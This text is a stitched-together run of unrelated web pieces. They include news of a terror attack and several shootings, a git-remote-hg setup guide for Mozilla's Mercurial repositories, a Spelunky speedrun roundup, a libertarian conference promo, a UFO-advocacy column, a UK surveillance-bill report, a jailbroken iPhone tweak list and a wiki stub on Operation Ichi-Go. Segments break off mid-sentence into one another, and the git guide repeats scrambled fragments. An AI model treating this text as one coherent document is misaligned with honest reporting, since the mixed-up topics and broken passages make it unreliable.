The so-called Islamic State group has said it was behind Masood's attack, but police say they have so far found no evidence of an association with the group or al-Qaeda.
Two men were arrested in Birmingham under the Terrorism Act by police investigating the attack. One remains in custody after officers were granted warrants for further detention, while the other was released with no further action.[Update: git-remote-hg being a moving target, these instructions are now outdated. Please now refer to this new article on the git-cinnabar wiki that will be updated with fresh instructions.]
If you’ve been following this blog, you know I’ve been working on a new tool to allow to use git with mercurial repositories. See the previous blog posts for some detail if you don’t know what I’m talking about.
Today, a new milestone has been reached. After performing tens of thousands of pushes[1] and having had no server corruption as a result, I am now confident enough with the code to remove the limitation preventing to push to remote mercurial servers (by an interesting coincidence, it’s exactly the hundredth commit). Those tens of thousands of pushes allowed to find and fix a few corner-cases, but they were only affecting the client side.
So here is my recommended setup for Gecko development with git:
Install mercurial (only needed for its libraries). You probably already have it installed. Eventually, this dependency will go away, because the use of mercurial libraries is pretty limited.
If you can, rebuild git with this patch applied: https://github.com/git/git/commit/61e704e38a4c3e181403a766c5cf28814e4102e4. It is not yet in a released version of git, but it will make small fetches and pushes much faster Update: The patch is in git version 2.2.2 and newer.
The patch is in git version 2.2.2 and newer. Install this git-remote-hg. Just clone it somewhere, and put that directory in your PATH.
. Create a git repository for Mozilla code: $ git init gecko $ cd gecko
Set fetch.prune for git-remote-hg to be happier: $ git config fetch.prune true
for git-remote-hg to be happier: Set push.default to “upstream”, which I think allows a better workflow to use topic branches and push them more easily: $ git config push.default upstream
to “upstream”, which I think allows a better workflow to use topic branches and push them more easily: Add remotes for the mercurial repositories you pull from: $ git remote add central hg::http://hg.mozilla.org/mozilla-central -t tip $ git remote add inbound hg::http://hg.mozilla.org/integration/mozilla-inbound -t tip $ git remote set-url --push inbound hg::ssh://hg.mozilla.org/integration/mozilla-inbound (...) -t tip is there to reduce the amount of churn from the old branches on these repositories. Please be very cautious if you use this on beta, release or esr repositories, because their tip can switch mercurial branches, and can be very confusing. I’m sure I’m not alone having pushed something on a release branch, when actually intending to push on the default branch, and that was with mercurial… Mercurial branches and their multiple heads are confusing, and git-remote-hg, while it supports them, probably makes the confusion worse at the moment. I’m still investigating how to make things better. For Mozilla integration branches, though, it works fine because their tip doesn’t switch heads.
is there to reduce the amount of churn from the old branches on these repositories. Please be very cautious if you use this on beta, release or esr repositories, because their tip can switch mercurial branches, and can be very confusing. I’m sure I’m not alone having pushed something on a release branch, when actually intending to push on the default branch, and that was with mercurial… Mercurial branches and their multiple heads are confusing, and git-remote-hg, while it supports them, probably makes the confusion worse at the moment. I’m still investigating how to make things better. For Mozilla integration branches, though, it works fine because their tip doesn’t switch heads. Setup a remote for the try server: $ git remote add try hg::http://hg.mozilla.org/try $ git config remote.try.skipDefaultUpdate true $ git remote set-url --push try hg::ssh://hg.mozilla.org/try $ git config remote.try.push +HEAD:refs/heads/tip
Update all the remotes: $ git remote update This essentially does git fetch on all remotes, except try.
With this setup, you can e.g. create new topic branches based on the remote branches:
$ git checkout -b bugxxxxxxx inbound/tip
When you’re ready to test your code on try, create a commit with the try syntax, then just do:
$ git push try
This will push whatever your checked-out branch is, to the try server (thanks to the refspec in remote.try.push ).
When you’re ready to push to an integration branch, remove any try commit. Assuming you were using the topic branch from above, and did set push.default to “upstream”, push with:
$ git checkout topic-branch $ git pull --rebase $ git push
But, this is only one possibility. You’re essentially free to pick your own preferred workflow. Just keep in mind that we generally prefer linear history on integration branches, so prefer rebase to merge (and, git-remote-hg doesn’t support pushing merges yet). I’d recommend setting the pull.ff configuration to “only”, by the way.
Please note that rebasing something you pushed to e.g. try will leave dangling mercurial metadata in your git clone. git hgdebug fsck will tell you about them, but won’t do anything about them, at least currently. Eventually, there will be a git-gc -like command. [Update: actually, rebasing won’t leave dangling mercurial metadata because pushing creates head references in the metadata. There will be a command to clean that up, though.]
Please report any issue you encounter in the comments, or, if they are git-remote-hg related, on github.
1. In case you wonder what kind of heavy testing I did, this is roughly how it went:
Add support to push a root changeset (one with no parent).
Clone the mercurial repository and the mozilla-central repository with git-remote-hg.
Since pushing merges is not supported yet, flatten the history with git filter-branch --parent-filter "awk '{print \$1,\$2}'" HEAD, effectively replacing merges with “simple” commits with the entire merged content as a single patch (by the way, I should have written a fast-import script instead, it took almost a day (24 hours) to apply it to the mozilla-central clone ; filter-branch is a not-so-smart shell script, it doesn’t scale well).
, effectively replacing merges with “simple” commits with the entire merged content as a single patch (by the way, I should have written a script instead, it took almost a day (24 hours) to apply it to the mozilla-central clone ; filter-branch is a not-so-smart shell script, it doesn’t scale well). Reclone those filtered clones, such that no git-remote-hg metadata is left.
Tag all the commits with numbered tags, starting from 0 for the root commit, with the following command: git rev-list --reverse HEAD | awk '{print "reset refs/tags/HEAD-" NR - 1; print "from", $1}' | git fast-import
Create empty local mercurial repositories and push random tags with increasing number, with variations of the following command: python -c 'import random; print "
".join(str(i) for i in sorted(random.sample(xrange(n), m)) + [n])' | while read i; do git push -f hg-remote HEAD-$i || break; done [ Note: push -f is only really necessary for the push of the root commit ]
[ Note: is only really necessary for the push of the root commit ] Repeat and rinse, with different values of n, m and hg-remote.
Also arrange the above test to push to multiple mercurial repositories, such that pushes are performed with both commits that have already been pushed and commits that haven’t. (i.e. push A to repo-X, push B to repo-Y (which doesn’t have A), push C to repo-X (which doesn’t have B), etc.)
Check that all attempts create the same mercurial changesets.
Check that recloning those mercurial repositories creates the same git commits.
p.m.o
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proud of you for getting laid.
Speaking of Max Hell% runs, Abob71 is someone who completed two variations of this category getting a 10:16.582 in Max Hell%, and a 12:12.404 in Haunted Max Hell%. A-mazing job A-Bob!
Abob71 completed a Max Hell% run! The time was 10:16.582.
Abob71 completed a Haunted Max Hell% run! The time was 12:12.404.
We just have a few more runs to go through so I'll go through them pretty quickly.
Israel Blargh! completed an Any% run in 4:20.405, Konato_K completed a Tutorial% run in 1:24.710, denis1080 completed an All Shortcuts + Olmec run in 22:19.840,Cloiss completed a No Teleporter Any% run! The time was 29:00.682, fisnishing with a final score of $138,875, The Mad Murf completed a Score run with a score of $1,732,000, AlphaChannel completed a Max Hell% run in 10:41.852, ClysmiC completed a Low% run in 4:33.234, and last but not least, prenis completed a No Gold run in 8:01.181.
Great job everyone on improving your times and making the Spelunky community great!
See you all next week, and remember to keep on lunkin!
- meowImage caption Andrew Allen was shot through a window at Links View, Lisfannon
Dissident republicans are being blamed for shooting dead a Londonderry man in Buncrana, County Donegal.
Andrew Allen, 24, from the "Top of the Hill" in the Waterside area, was shot at a house in Links View Park, Lisfannon on Thursday night.
Mr Allen, a father of two, was one of several men forced out of the city by a republican vigilante group last year.
Three men went up to the house and fired a number of shots through a bedroom window.
They had failed to gain entry through the front door.
Gardai have said that one of their lines of inquiry is that republican vigilantes were responsible for the murder.
However, they said they could not ascribe the killing to any particular organisation.
Superintendent Kevin English expressed his sympathies to Mr Allen's family and said the shooting had been a "traumatic event for the wider community of Buncrana".
Mr Allen had been living at the house for about six months. His partner was in the property when the shooting happened at 21:20 GMT, but was not injured.
A car was found burnt out a short distance away at Fahan shortly after the attack.
The areas around both the house and the car have been cordoned off as Irish police investigate the murder.
At a press conference on Friday, Gardai appealed for information about anyone who was in the Links View Park area prior to the shooting.
They also appealed for information about the silver Vauxhall Cavalier car with a Northern Ireland registration SJI 2117 which was found burnt out at Fahan.
Gardai said the gunmen had switched to another vehicle to make their getaway.
They said Mr Allen's body would later be removed to Letterkenny Hospital for a post-mortem examination.
Padraig McLaughlin of Sinn Fein said he believed the man had been targeted by the group, Republican Action Against Drugs.
It is a shocking murder. We give our allegiance in Donegal and Derry to the PSNI and gardai to control crime. Padraig McLaughlin, Sinn Fein
"It is a shocking murder. We give our allegiance in Donegal and Derry to the PSNI and gardai to control crime. That is one of the blessings of the peace process," he said.
"This is not republican, this is anti-republican. He has been murdered by a tiny group of arrogant thugs who call themselves republican."
Father John Walsh, parish priest in Buncrana, said the taking of life can never be justified.
"There's contempt for the people who have perpetrated this crime.
"There's a cold fury that a young man should, no matter what his background, have been gunned to death in our community.
"We have our own forces of law and order in this town. People do not want this," he said.
Absolute tragedy
SDLP MLA Pat Ramsey knew the victim and his family.
"One can only imagine what his mother and father are going through," he said.
"There are no excuses for this most violent act. Shame on those who carried out this deed. Our community has suffered enough.
"Nothing will be achieved by this action last night.
"We need to have a community response to these attacks," he said.
Sinn Fein councillor Paul Fleming knew the victim.
"The 'Top of the Hill' community is shocked and saddened about the death of Andrew Allen," he said.
"I knew him to see and to say hello to.
"This is a senseless taking of a young life, a man with two young children.
"This a great tragedy for his family."
PSNI Chief Inspector Gary Eaton said it was an appalling crime.
"It is an absolute tragedy for the family, our thoughts must be with the family and friends of this young man at this very traumatic time for them," he said.
"Clearly our colleagues in An Garda Siochana will be leading an inquiry.
"If it is at all possible for us to assist, then we will."WASHINGTON (Reuters) - The father of a Virginia journalist killed in an on-air shooting said on Thursday he would become a crusader for gun control, but analysts said there was little likelihood of legislation on the federal level any time soon, despite changes in some states.
Two journalists, reporter Alison Parker and cameraman Adam Ward of Roanoke CBS affiliate WDBJ7, were shot during a live interview on Wednesday by a disgruntled former station employee who later killed himself. The woman who was being interviewed was wounded and hospitalized.
Parker’s father, Andy Parker, urged state and federal lawmakers to take action on gun control, especially to keep firearms out of the hands of people who were mentally unstable.
“I’m not going to rest until I see something happen. We’ve got to have our legislators and congressmen step up to the plate and stop being cowards about this,” Parker told CNN, describing himself as a supporter of the constitutional right to keep and bear arms.
He said the National Rifle Association, the powerful U.S. gun lobby, likely would contend that his daughter and Ward would have been safe if they themselves had been armed.
“It wouldn’t have made any difference,” Parker said. “How many Alisons is this going to happen to before we stop it?”
The United States had about 34,000 firearms deaths in 2013, with almost two-thirds of them suicides, according to the Centers for Disease Control and Prevention.
Sarah Trumble, a senior policy counsel for the Third Way, a Washington think tank, said prospects for gun control had little chance in the Republican-controlled Congress, despite intense media focus on the Virginia killings.
“There’s no playbook for what to do here,” she said, but added that changes were more likely in states than at a federal level. “The states are really where the action is.”
The last time there was a push at the federal level for tighter gun control was following the massacre of 26 people, mostly children, at the Sandy Hook elementary school in Newtown, Connecticut, in December 2012.
Related Coverage Virginia TV station vows to move forward from journalists' shooting
President Barack Obama supported legislation that would have extended background checks for gun buyers and banned rapid-firing assault weapons. But despite national revulsion over the Newtown killings it was rejected in April 2013 by the U.S. Senate, including by some lawmakers in Obama’s Democratic Party.
After Wednesday’s shooting, Obama reiterated his frustration over the issue of gun violence, saying the United States needs to do “a better job of making sure that people who have problems, people who shouldn’t have guns, don’t have them.”
MEASURES GO AHEAD
Although the issue is stalled at a national level, gun control measures have gone ahead in the last two years in several U.S. states, with 18 now requiring background checks for the sale of handguns, said Colin Goddard, senior policy adviser for Everytown, a gun control advocacy group backed by former New York Mayor Michael Bloomberg.
Among other gains for advocates of gun control are a 2014 referendum in Washington state for background checks on gun sales in which backers of the initiative outspent the NRA. Oregon’s governor in May signed legislation for background checks on almost all buyers.
Nevada voters will go to the polls in a similar referendum next year.
In Maine, Goddard said Everytown had started a campaign to get a background checks question on the ballot. But gun rights advocates notched a victory in the state last month when it became the fifth to allow gun owners to carry concealed weapons without a permit.
In Virginia, where the NRA is headquartered, Democratic Governor Terry McAuliffe called for gun controls after Wednesday’s shooting.
But gun control legislation is unlikely to pass the Republican-dominated legislature, said Stephen Farnsworth, a pollster at the University of Mary Washington in Fredericksburg, Virginia.
“It’s a very gun-friendly legislature and the shootings this week will do little to change that,” Farnsworth said. He added that polls have shown more support for gun control among state residents than among politicians.
Chris Hurst (R), a journalist at the station and boyfriend of killed journalist Alison Parker pauses for a moment as Jeff Marks (L), general manager for WDBJ7 looks on as they speak with NBC's Today Show outside of the offices for WDBJ7 where killed journalists Alison Parker and Adam Ward worked in Roanoke, Virginia August 27, 2015. REUTERS/Chris Keane
Wednesday’s shootings were particularly shocking because they happened on air, and because of social media posts about the attack by Vester Flanagan, 41, the man police said carried out the shooting.
His posts illustrated a trend of people wanting to commit murders and post images of the killings online to gain notoriety, Parker’s boyfriend, Chris Hurst, told NBC.Ron Paul, Tequila, Sun, Fun, and Crypto Coming up at Anarchapulco 2018
One of the most anticipated conferences of the year brings together disparate voices from the around the world: leaders such as statesmen, business owners, philosophers, rappers, coders, authors, thought and opinion moulders. They’re gathering for four days mid-February 2018 in Acapulco, Mexico. It’s the fourth year of Anarchapulco, and the just announced keynote speaker is two-time US Presidential candidate Ron Paul.
Also read: Anarchapulco Freedom Conference Dedicates Full Day to Crypto
Señor Ron Paul to Keynote Popular Conference
It’s the quintessential North American cocktail. Meant to soak up Equator-warming rays, it involves your toes in the sand and its own dedicated shape of glass. Broken into three principal ingredients, seven parts derive from blue agave pollinated by a Mexican bat. Tequila is to the region what champagne is to France. You have not had a Margarita until you’ve imbibed one in Mexico.
Your chance to do so is mere weeks away, and the conference is sure to sell out. February 15th through the 18th, 2018 is the fourth annual gathering of global voluntaryists. Speakers include the Foundation for Economic Education’s Jeffrey Tucker, Liberland president Vit Jedlicka, and former congressman Ron Paul, among many others.
Acapulco’s waters average 28.2 °C (82.8 °F) in February, and the city itself hugs a mushroomed bay leading to the mighty Pacific Ocean. It has a fully stocked OMA International Airport, and a quick 15 minute cab ride brings you to the intersection of Calle Simon Bolivar at Costero de Las Palmas, and into the Princess Mundo Imperial, a five star hotel (there’s a conference group rate).
The conference boasts Cryptopulco, a subconference with special focus on cryptocurrencies and things bitcoin. It’s an especially auspicious event this time around because speakers include bitcoin core developer Jimmy Song, bitcoin cash dev Amaury Séchet, and a handful of other ecosystem luminaries.
Acapulco for Health, Wealth, and Communication
“Our biggest addition to Anarchapulco this year will be the Anarchapulco Health and Wellness Retreat,” the conference website insists, “which includes 3 days of beachside yoga, fitness training, diet planning, medical tourism, life coaching, holotropic breath training and more. We believe it’s vital for the future of freedom that those who are forging it be strong, not just in mind, but also in body and spirit.”
Acapulco is a tourist town, and as such there is never want for activities. The history, a combination of Spanish conquistadors and aboriginal peoples, enduring Mexican government corruption, make it an ideal place for adventurers to take discovery-filled day trips. If the beach is your thing, they’ve got that in spades. The city is also known for its vibrant nightlife, seafood, and hospitality.
“On February 13th and 14th Larken Rose will be hosting his Candles in the Dark seminar,” happening just prior to the conference proper. “This interactive workshop in how to communicate with statists to expose and convert them to voluntaryists has received rave reviews from around the US, and we’re delighted to have Larken delivering yet another powerful workshop here at Anarchapulco,” the site announced.
If luxurious inebriation doesn’t catch your fancy; if hanging with some of the brightest people alive fails to move you; if the chance to network with like-minds just isn’t pushing you, then perhaps an opportunity to give a rousing standing ovation to a genuinely good guy, a real-life hero, father to many liberty newbies, Dr. Ron Paul, 82, is what will finally make you purchase tickets.
Looking forward to seeing you there.
Do you plan on attending? Let us know in the comments below.
Images via Pixabay, Anarchapulco.
Need to calculate your bitcoin holdings? Check our tools section.
Disclaimer: Bitcoin.com is a sponsor of Anarchapulco 2018.“Come on show us something that will blow our minds and make us believe in you lot. Starting to get boring.”
“Could you pleeeeeease update me about what you discover before next ice age is entering?”
“They have to string it out to maximize the cash. This is the same thing every other con artist learns. You don’t get into them for everything they have right away.”
“… why are we trusting the same group of people that deceived us to begin with. This is operation blue book part 2. The cover story for the public.”
With fluctuating degrees of enthusiasm for syntax and credulity, largely anonymous critics are jumping on every scrap of kindling To The Stars Academy is tossing on the fire to keep its momentum going. I’m scrolling through the comment threads on TTSA’s 9/19/18 post. This one offers a video update from TTSA’s
Spirits soared when the NY Times broke the story about the Advanced Aerospace Threat Identification Program. And then … the wind died down … /CREDIT: nationalvalue.blogspot.com
chief operating officer, Steve Justice. Justice is discussing the Acquisition and Data Analysis of Materials (ADAM) project, which appears to be receiving lots of snail mail from unnamed sources submitting samples of what they think could’ve come from UFOs. The 3-minute clip shows team members unwrapping packages, extracting the goodies, and – look there! – at least one item is intentionally blurred out. Is this just cheap theater, or something really worth concealing? If so, why show it at all? Guess we’ll just have to stay tuned. Here’s what Justice tells viewers: “The expectations are huge. And when the expectations are extremely high, performance has to follow … This is a broad problem from so many different directions.”
That’s one for-sure true thing about performance. And you might need a kangaroo to clear that bar.
Just over a year ago, if anyone had suggested that somebody of Justice’s stature would openly advocate for formal and transparent research into UFOs, with a money-making business plan to boot, prospective employers could’ve demanded urine samples from said claimant and no one would’ve whined to the ACLU. Yet, Justice pulled 31 years with Lockheed Martin’s Advanced Development Programs and, more specifically, was the “Skunk Works” program director for Advanced Systems. And there he was, on 10/11/17, broad daylight, in TTSA’s live-streaming introduction, alongside a team of gold-standard pedigrees dedicated to bringing UFOs into mainstream science. The cast even included a military intelligence officer who bailed on the Pentagon for dragging its feet on The Great Taboo.
And then, wham, just two months later, on 12/16/14, pigs flew and Satan lost both hooves to frostbite when the New York Times went 1A with Navy videos of jet fighters chasing UFOs over open water. Furthermore, the Times went on, the Defense Intelligence Agency was taking this stuff so seriously it formed the Advanced Aerospace Threat Identification Program to ponder the evidence. This was one of journalism’s groundbreaking moments, novel and unforeseen, executed amid the most surrealistic political environment in American history. Everything was on the table now, and who knew what would happen next? Betty White as Secretary of Defense?
Since the Times article, other Navy veterans have stepped up to add more details to the pilots’ stories regarding the now-celebrated 2004 Nimitz incident. TTSA member/ex-Deputy Assistant SecDef for Intelligence Chris Mellon went to The Washington Post to rip the Defense Department for its inertia, augmenting his case with yet another bell-ringing jet fighter-UFO chase video. But then … the Times disappeared … without a trace … without explanation … as if it were tired of winning Pulitzers. And without that big dog on point, the other MSM outlets, including The Post, have been mostly chugging around in circles if/when they do anything at all.
Maybe the unlikeliest UFO watcher to emerge is Tucker Carlson of Fox News. He’s devoted eight reasonable and informed discussions to UFOs over the past year, but he’s, well, Fox News. And it’s doubtful Fox News has the appetite for keeping voters pissed off about federal-level UFO obfuscation.
What hasn’t changed since day 1 is the way TTSA controls its information. Although the Nimitz eyewitnesses have the kind of cred a prosecutor would want to haul into court, and the UFO videos are loaded with valuable metadata, and the Pentagon has verbally confirmed the authenticity of those vids, and KLAS-TV’s George Knapp secured a detailed, 13-page “Executive Summary” of the Nimitz incident, we’re still missing something. We’re missing the paper.
As Wired magazine noted in February, the F-18 footage still lacks chain-of-custody authentication. One can dismiss paperwork as an annoying formality nitpicking at the larger story, but that’s not good journalism and it’s an Achilles heel to an airtight case if you ever wanted to go legal. One of TTSA’s insecurities became apparent early on as its leadership decided which media it would and would not cooperate with in the afterglow of the Times’ buzz. You can’t please everybody — got that. But Jimmy Kimmel knows more about UFOs than most of the journos who scored TTSA interviews. Maybe that was the point.
In September, after his efforts to chat with a TTSA official on his Black Vault podcast were ignored for months, veteran FOIA sleuth John Greenewald wrote an open letter to TTSA. Unlike most of America’s Fourth Estate, Greenewald has been working the bureaucracy for UFOs data for more than 20 years.
“After filing more than 9,000 FOIA requests to every corner of the Government and Military … I understand quite well that they conceal information and withhold things from the public. However,” he wrote, “I am quite surprised and shocked that the Pentagon has returned my calls and answered my questions from their side about AATIP/AAWSAP etc., yet a ‘public benefit’ corporation won’t even address my, or the public’s, larger questions and concerns about the same.”
Greenewald has been accused being a pedant, but his gripes are not insignificant. In arguing that “I have seen quite often erroneous information being passed by those within TTSA’s upper echelon and direct advisors,” he names names, lists specific examples, and raises the sorts of nuanced questions about the AATIP setup the corporate press likely would likely miss, if it cared at all. Greenewald isn’t a debunker, and TTSA does its image no favors by ducking his queries.
Navigating the lines of entertainment, advocacy, science, and commerce while retaining credibility is a tall order. This is what TTSA is attempting to do, and there are no analogies for this enterprise. But if the standard is journalism, as military beat writer Tyler points out, “Chain of custody is always the key.”
Rogoway’s reporting at The War Zone website transcended the boundaries of his niche market last November, a month before The Times broke the AATIP story. That’s when
When you’re the only show in town, you’re the only show in town/CREDIT: awenestyofautism.com
he used federal records to document a UFO intrusion over the Pacific Northwest on 10/25/17 that entered commercial air corridors and triggered a scramble by F-15s. He posted a dynamite followup in February by publishing recorded contemporaneous chatter among airline pilots, air traffic controllers, and the FAA. He says his conventional coverage of this unconventional event has received zero negative blowback from his specialized audience, which has hung with Rogoway for nearly 10 years now.
“The truth is, if you’re into aviation, if you like defense topics and airplanes or whatever, you probably are interested in UFOs, too. Not because you believe in little green men from another planet,” he tells De Void, “but because it has to do with whatever happens to be up there flying around in our environment. I’ve tried to keep this in a positive light by only discussing those particular incidents that have absolutely clear evidence that anyone can listen to and, when packaged properly, there’s no way you can walk away from it and say this is junk.”
Rogoway was pleasantly surprised by The Times’ AATIP coup, but it isn’t the subsequent lack of revelations that makes him wince.
“They’ve done good work and I hope they will continue to do good work. But to be honest, the name is probably off-putting from a marketing standpoint. To The Stars? It sounds whimsical, and this isn’t a whimsical subject. If people are talking about something strange flying around, and I’m in the media and I’m looking for comment, am I going to make a call to something called To The Stars? Know what I mean?”
Actually, yes. Nevertheless, here we are, a year after the rollout of an idea nobody knows quite how to manage. At least not to everybody’s satisfaction, maybe to nobody’s satisfaction — only the bland try to do that. What we know for certain is that at least one part of TTSA’s mission is clearly succeeding. Just read the feedback threads. The trolls are out in full force. Tomorrow isn’t soon enough. Investigations take too long. They’re bagmen for the usual suspects. They want disclosure but they won’t disclose what they’ve got. And verbatim “Sometimes I wonder if these guys are gearing up to start a new cult like Scientology …”
Now folks — that’s entertainment.Saying that the modern world of music is diverse and just crazy huge is probably the biggest underestimation of the Century. It’s not easy to know every good band, therefore we’re going to share our new discoveries with you. First up are Stories who come straight from Down Under.
I have absolutely no idea how it can be possible that such a small and dangerous continent like Australia produces so much excellence and heavy acts. However, sometimes you don’t have to understand it to feel it. Tomorrow on the 14th of August the debut of Stories, THE YOUTH TO BECOME will be released by UNFD and right now you have the chance to listen to the whole record. Make up your own mind on the band by listening to the debut below!
Personally I would classify their sound somewhere between Northlane‘s DISCOVERIES and SINGULARITY, but at the same time it’s still original and THE YOUTH TO BECOME is more than average and a great debut for such a young band. Stories could potentially be your new favourite band… let us know!Home Secretary Theresa May Getty Images
The Home Office has attempted to clarify its position on encryption ahead of publishing the Investigatory Powers Bill.
Theresa May's department said it has revised the draft legislation to "reflect the majority of the recommendations" made by three critical reports from committees scrutinising the planned law. The claims from the Home Office come as 100 civil liberties groups and campaigners called, in the Telegraph, for more time to be taken to consult technology companies and those involved.
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The government was accused of rushing through changes to planned law, following the publication of the Intelligence and Security Committee and Joint Select Committee reports into the 300-page legislation two weeks ago. Those reports followed the publication of the Science and Technology Committee report in January.
After considering those critical reports, the Home Office claims it has revised the law to:
Read next Friday briefing: Theresa May wants tech firms to take responsibility for illegal content Friday briefing: Theresa May wants tech firms to take responsibility for illegal content
Not allow foreign countries to conduct intelligence for the UK government unless they have a warrant under UK law
Allow for internet connection records -- the metadata of internet users -- to be allowed for use in "the pursuit of investigative leads"
Clarified the government's ambiguous position on encryption. It says companies will only be asked to remove encryption they have applied themselves and where it is practical to do so
Extra protections for journalists' sources
Between the committee's it was said the law would undermine the UK tech industry, was not clear enough in describing obligations for communications companies, didn't protect privacy of individuals, and the justifications for mass powers were not full enough.
Critics of the bill have said the government is trying to rapidly pass the legislation to avoid close scrutiny in Parliament. Conservative MP David Davis told the Independent: "It all keeps with their strategy, which is to rush everything through. They know when they engage with experts they lose."
#IPBill will be released this morning. I will comment after studying the likely 300 pages, but govt's needless rush makes me suspicious. — Paul Strasburger (@LordStras) March 1, 2016
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In response the Home Office also says that it will publish an "operational case for bulk powers," to explain why GCHQ and Mi5 "need" to be able to bulk hack devices, bulk interception communications and the collection of bulk data sets. As well as this it is set to publish six codes of practices outlining how the powers of the bill may or may not be used.
A Home Office press release -- quoting a'source' -- said: "We have considered the committees’ reports carefully and the Bill we are bringing forward today reflects the majority of their recommendations. "We have strengthened safeguards, enhanced privacy protections and bolstered oversight arrangements." The department says with its publication of the bill today it will also include full responses to each of the reports.
The bill, according to the Independent's report, will have a second reading, where it is debated, in Parliament on 14 March, followed by a committee stage for further scrutiny on 22 March and a final vote by MPs before the end of April.I received my gift at the end of last week, but I was the maid of honor in a wedding this weekend and so life was a bit hectic, but without further ado I present the awesome gift I received in the Who exchange.
In my mail I received a round cardboard tube. Since I work at a movie theater, I'm familiar with how posters and prints get shipped so I got excited.
Upon opening I found that I received an absolutely beautiful original art print of my very favorite doctor, ten!!! The print is signed and numbered and just stunning!
The quote on it says "I have to live on. Alone." It just pulls at my heartstrings all over again. Oh the curse of the time lords... Alright, I'm going to stop crying now.
Thank you so much to my Doctor Who Santa, this is such a wonderful gift! I'm going to find a frame that fits it this week so that it can hang in a place of honor. Once again Santa, thank you for the great gift, I couldn't have asked for anything better! I'm sending you a big virtual hug! :DBootscreen/Respringscreen Lockscreen Home App Launcher (activated by swiping to the left on home or pressing the home button) Messages (Yes, the default messages application)
Activator - For launching the App Launcher. Most recent version at Ryan Petrich’s repo rpetri.ch/repo/
Alkaline - Customizing Battery.
Eclipse 2 (iOS 8) - For the beautiful dark colours.
Glyphs & Gotham - Theme (See here on how to obtain)
HideMe8 (iOS 8) - To hide app labels, stuff on the lockscreen, pretty much any annoyance you can think of, HideMe8 has you covered.
Icon Resizer - Need I say more? From evanpetousis.me/repo/
InstaLauncher - The “app launcher” I was speaking of.
iWidgets - How I got a clock and date on my homescreen. Clock theme here & Date theme here.
Live Battery Indicator iOS 7 - The battery theme I’m using with Alkaline (don’t worry, it works fine on iOS 8!)
LockHTML4 - For the non-default clock. Found here.
LockKeyboard - For my keyboard. From cydia.hbang.ws/
MessagesCustomiser Beta - How I made the default messages app the way it appears. From chewitt.me/repo/
Radical Wifi Indicator (Vulgar Variant) & yes the fingers actually change! From here
From here TransparentDock - Broken on iOS 8 as it doesn’t make the dock fully transparent, but it does give it the cool semi-transparent dark effect you see above. A bug I happen to enjoy.
Wallpaper
WinterBoard - For applying most of this stuff!
Feel free to ask any questions!
My most recent setup for my jailbroken iPhone. Functions great and looks so nice!In order of left to right,used in order to make it appear as is:At least 31 people were shot and five of those victims were killed in Chicago this weekend as of Sunday afternoon.
The shooting spree in the city continues unabated with 26 wounded so far and five killed, according to a report in the Chicago Sun Times.
This weekend’s shootings bring the city’s toll so far this year to 973 people shot and 168 fatalities.
The latest shooting victims added to Chicago’s statistics include a 21-year-old male who was shot in the head in the Roseland neighborhood on the far South Side of Chicago. He was taken to Mount Sinai Hospital where he was pronounced dead.
Another victim was a 24-year-old male who was shot in the groin and his condition was stabilized. Police indicated he was a known gang member.
Early Sunday afternoon, a 30-year-old man was shot and killed in the South Side Washington Park neighborhood. That man was sitting in a car when another vehicle pulled up beside his car and someone fired shots. He was shot in the left cheek, hip and other parts of his body. He was pronounced dead at Stroger Hospital.
Last week after a violent Easter weekend, Chicago Mayor Rahm Emmanuel ran with police recruits to promote a reduction in violence, according to local WGNTV.
“He did it to showcase Chicago’s effort to reduce gun violence by putting more patrol officers on the city’s streets. Emanuel expects to add about 1,000 new officers to the rolls within the next couple of years. He believes a more visible police presence will put a damper on violent crime,” WGNTV reported.
The local news station also reported that the mayor “said the police department has already taken a new step by cracking down on guns and drugs on the city’s many party buses.”
The latest shooting victims were not on party buses but were on streets and walking in parks, while one 51-year-old man was just doing his job delivering food.Reporting from Lima Convention Center in Peru – The International Olympic Committee (IOC) Friday approved Milan, Italy as host city for the IOC Session in 2019. The election of the 2026 Olympic Winter Games host city will be on the agenda in Milan, as well as the confirmation of the sports program for those Games.
The Session would likely be held in September.
Plans outlined by Italian Olympic Committee President Giovanni Malago demonstrate a compact plan with La Scala Opera House hosting the Opening Ceremony, the Milan Congress Centre for the Session and the Principe di Savoia Hotel as accommodations for IOC members.
Milan Mayor Giuseppe Sala said “now Milan is a city under transformation, [people] can be surprised by what Milan has become.
“Tourism is under transformation, and the attitude of people in Milan is to see the international event as an opportunity, so they participate.”
Milan was elected to host the Session unopposed. In the past as many as two or three cities have lined up to take part.
The announcement came at the IOC Session in Lima, Peru where Paris and Los Angeles were chosen Wednesday to host the 2024 and 2028 Olympic Games.
Milan officials took that inspiration and have been hinting that they may want to bid for the 2026 Winter Games, possibly leveraging some venues used at the nearby Torino 2006 Games.
Mayor Sala, however, wasn’t convinced. He said “we have to work on it. Now, technically speaking it is not possible.”
Under IOC rules, a bid city election cannot take place in the country of one of the bidders. If Milan was in the race, the Session would have to be moved or the election itself scheduled for a different Session.
Sala indicated that a “modification” would have to take place in order to bid.
“Why not,” he added, “but we have to work on it because it is clear that for the people in Milan that the Olympic Games are perfect.”
Rome, also in Italy, was in contention for the 2024 Games but dropped out after the newly elected Mayor withdrew her necessary support for the project.
Sion, Calgary, Innsbruck and Stockholm are other cities considering 2026 bids and have sent delegates to the Lima Session. Applications are due into the IOC next year.Operation Ichi-Go (一号作戦 Ichi-gō Sakusen, lit. "Operation Number One") was a campaign of a series of major battles between the Imperial Japanese Army forces and the National Revolutionary Army of the Republic of China, fought from April to December 1944. It consisted of three separate battles in the Chinese provinces of Henan, Hunan and Guangxi.
These battles were the Japanese Operation Kogo or Battle of Central Henan, Operation Togo 1 or the Battle of Changheng, and Operation Togo 2 and Togo 3, or the Battle of Guilin-Liuzhou, respectively. The two primary goals of Ichi-go were to open a land route to French Indochina, and capture air bases in southeast China from which American bombers were attacking the Japanese homeland and shipping.[11]
In Japanese the operation was also called Tairiku Datsū Sakusen (大陸打通作戦), or "Continent Cross-Through Operation", while the Chinese refer to it as the Battle of Henan-Hunan-Guangxi (simplified Chinese: 豫湘桂会战; traditional Chinese: 豫湘桂會戰; pinyin: Yù Xīang Guì Huìzhàn).
Campaign [ edit ]
1944 Operation Ichigo
There were two phases to the operation. In the first phase, the Japanese secured the Pinghan Railway between Beijing and Wuhan; in the second, they displaced the US air forces stationed in Hunan province and reached the city of Liuzhou, near the border with Japanese-held Indochina. 17 divisions, including 500,000 men, 15,000 vehicles, 6,000 artillery pieces, 800 tanks and 100,000 horses participated in this operation.
